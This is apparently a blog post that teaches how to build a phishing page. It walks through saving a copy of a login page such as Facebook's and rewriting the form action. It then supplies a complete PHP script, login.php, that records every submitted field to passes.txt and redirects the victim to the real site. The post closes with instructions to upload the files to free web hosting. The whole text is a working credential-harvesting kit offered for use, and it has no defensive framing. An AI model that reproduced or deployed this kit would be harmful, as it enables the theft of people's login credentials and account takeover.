What is phishing page?
A phishing page of a site is just a ditto copy of a site. No one can easily detect a difference. In this, we just clone a site login or any other important page.
How to create?
- Visit the page that you want to clone.
- Save it (CTRL+S) via your browser.
- Choose save complete webpage while saving it via browser.
- Give name index while saving. (Dont use other name!)
- Save it to a folder.
- Now, you should have one file named "index.htm" and a folder.
- We have to edit index.htm file.
- Edit it and search "action" without "". You will get something like this if you are creating fake page of facebook, action="https://www.facebook.com/login.php?login_attempt=1" method="post" , We have to edit this line only. Change https://www.facebook.com/login.php?login_attempt=1 to login.php (How to create login.php is written below) and change post to get , and save it.
How to create login.php?
Here is the code for login.php, just copy the below code, paste it in notepad and save it as login.php.
Code:
<?php
header("Location: http://www.google.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
You have to change http://www.google.com to the site url that you are cloning, for example, change it to http://www.facebook.com/ if you are cloning facebook.
Now, you have your phishing page.
Now, you upload the above two files, login.php and passes.txt on any free web hosting site
(eg. www.my3gb.com).
0 comments:
Post a Comment